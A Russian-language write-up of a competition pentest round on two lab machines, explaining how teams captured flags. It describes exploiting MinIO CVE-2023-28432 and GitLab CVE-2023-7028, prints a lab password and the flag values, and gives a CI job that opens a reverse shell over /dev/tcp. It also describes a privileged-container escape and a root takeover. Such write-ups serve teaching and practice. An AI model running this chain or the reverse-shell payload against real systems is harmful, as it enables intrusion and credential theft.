Второй тур заключительного этапа

Второй тур заключительного этапа прошел на специальной платформе в формате pentest.

Особенности тура:

● Длительность тура: 6 астрономических часов.

● Для участия в туре для каждой команды были созданы виртуальные машины. Задача заключалась в том, чтобы получить права доступа, найти флаги и написать отчет о проделанной работе.

● Участникам предоставлялась связка логин-пароль от почтового сервиса вида team1@innopolisopen.com для каждой команды и оговаривалось условие, что все дальнейшие шаги они смогут получить через почту.

● На каждой виртуальной машине содержалось некоторое количество флагов. Заранее участникам было известно только общее количество флагов на двух машинах - 10 штук.

● Флаги хранились в файлах или переменных с именами «flag», «flag.txt», «token», «token.txt» и были однозначно идентифицируемы.

● Флаги сдавались в АТС. В ней был доступен интерфейс доступа к машинам, их перезагрузке и рейтингу команд.

● Учитывалось время решений каждого уровня. Максимальный балл – 5700. Каждую минуту отнималось одинаковое количество баллов. Дополнительные баллы начислялись участникам, чья команда первой взяла тот или иной флаг.

● Итоговые набранные баллы конвертировались в 5-балльную систему.

● Участникам также было необходимо написать отчет о проделанной работе по шаблону, который содержал следующие пункты:

- Сбор информации (определение объема тестов на проникновение, сети).
- Перечисление сервисов (сбор информации о том, какие сервисы существуют в системе или системах).
- Проникновение (тип эксплуатируемой уязвимости, уязвимая система, патч или фикс, критичность, найденный флаг, PoC, рекомендации по устранению уязвимостей, скриншоты).

Подключение к почтовому серверу

Для подключения к почтовому сервису необходимо было настроить любой почтовый клиент, т.к. сервис не имел веб-интерфейса. Подключившись, можно было найти письмо с токеном, примером отправки флагов в систему и собственно айпи-адресами.

Так же там лежал первый флаг:
а вот и ваш первый флаг: **b2074299eb52e402ba9c66b65e812cd0**

Первая машина – site, s3 and smbd

Запускаем стандартное сканирование:

```
1  nmap -sV <ip>
```

Видим следующую картину:
а) порт 9001 и 9000 - s3 бакет minio
б) 139, 445 - SAMBA server
в) 80 - nginx web-server

Аналогичный скан, запущенный на второй машине, выдавал только один интересный порт - 80 nginx, где крутился GitLab.

Изучаем для начала первую машину:

а) На бакеты minio требуется авторизация, пока отложим.
б) На стороне smbd есть гостевой вход, можно зайти и забрать следующий флаг
fbc564a621d5ed5e0fa5a1768c4f7e4d
в) На сайте нет ничего интересного, но можно найти почту `admin@sms.inno`, позже она нам пригодится.

Далее было несколько вариантов - отложить MinIO и пойти искать уязвимости связанные с гитлабом на второй машине, или все же взять флаг с MinIO.

Бегло погуглив - находим не слишком старую, но весьма эксплуатируемую уязвимость `CVE-2023-28432`. Собственно, если MinIO развернут как кластер - мы можем без авторизации получить все секреты на его стороне. Пробуем и получается, теперь у нас есть еще и пользователь albert с паролем `SuP3R_S3cR3t_pASSW0rD`. Можно авторизоваться с помощью него же на бакете и забрать еще один флаг - **f34743427f9a601091ae2300ed87800b**.

Логичный дальнейший шаг - попробовать подключится под данным пользователем еще и по ssh, пробуем - и заходим на машину.
Еще один флаг - **fa21f6876f3ec6fb673d8d275c20b245** - наш.

В домашней директории пользователя можно найти скрипт `site_gen.sh`, позволяющий нам клонировать сайт с удаленного репозитория (vm2 gitlab) и обновлять его. Если его запустить - подтянется последняя версия сайта, где так же будет лежать скрытый флаг **`1f3ed27124f37d02b5d8e73c119feae4`**.

А заодно отсюда можно было-бы получить информацию про вторую ВМ, если бы ее не было в письме или вы ее пропустили.

Перейдем на данном этапе ко второй машине, так как на этой попытки LPE с действующими правами не приведут к успеху (пока).

Первая машина - gitlab

Авторизация на гитлабе под полученными выше кредами невозможна, значит ищем обходные пути.
Имея версию GitLab - ищем по ней уязвимости и находим CVE-2023-7028, позволяющую нам осуществить сброс пароля через подстановку своего email адреса, рядом с настоящим. Выше мы уже получали один email, пробуем взять его и подставить так же свой, проэксплуатировав уязвимость (лучше было брать локальные почтовые адреса, выданные на время мероприятия), и получаем на почту пароль для входа.
Теперь мы можем увидеть один из доступных репозиториев, где, собственно, размещен сайт (и один из предыдущих токенов, если пропустили - можно взять отсюда). Смотрим по сторонам и ищем еще что-нибудь интересное, например - включенные Shared Runner для данного репозитория. А значит, если кто-то использует данный раннер в другом репозитории, мы можем получить его секреты, используя CI/CD.
Находим второй репозиторий, там у нас есть права Developer, но посмотреть секреты нельзя. Вот тут то мы и заюзаем наш shared runner, создав свой `.gitlab-ci.yml`:

```
image: python:latest
run:
 script: sh -i >& /dev/tcp/<ip>/<port> &0>1
```

таким образом мы получим доступ внутрь docker-контейнера с запущенным раннером и сможем вывести все секреты, которые хранятся в ENV, забрав еще один флаг **`a71cbf9bbce0f9b9f86f5ef6159f4654`**.

А если внимательно изучить все доступные секреты - найдем еще и ключик ssh, который подойдет для пользователя root на vm1!!

Первая машина - docker secret's and root access

Подключимся с найденным выше ключом к машине под пользователем root и заберем еще один флаг - **`3436af9990dfdaf2fc5b1f6d901ff4a6`**.

Казалось бы, можно остановиться, но теперь мы можем смотреть что есть в докерах - а значит можно изучить их секреты, например зайти в любой из трех контейнеров MinIO и достать последний на данной машине токен **`2cc57d98aee1125991d62a7db2443b3f`**.

На этом этапе с этой машиной покончено, но остается пара не раскрытых секретов на второй

Вторая машина - gitlab rake and other secretes

Вернемся к нашему раннеру - мы находимся внутри docker-контейнера. Проверяем - и оказывается, что он запущен в privilege mode, что позвоялет нам выполнить docker-escape.

Пробуем подмантировать файловую систему - и вуаля, мы уже имеем полный доступ до vm2 (runner был запущен непосредственно на ней).

Находим сразу еще один токен в директории /root/token - **`c26b1a1edad3f3606ee9e969576f00bf`** и продолжаем поиски последнего ключа.

Если чуточку покопаться в репозитории гитлаба - можно найти еще одного пользователя Administrator.
Попробуем зайти под ним, сбросив пароль через gitlab-rake, т.к. мы теперь root - мы можем такое себе позволить.
Заходим с новым паролем под данным пользователем и видим приватный репозиторий с последним флагом - **`4b215c15f98549cbf1d3f8c08fa18c3a`**.

Кажется, теперь мы собрали все флаги и можно расслабиться.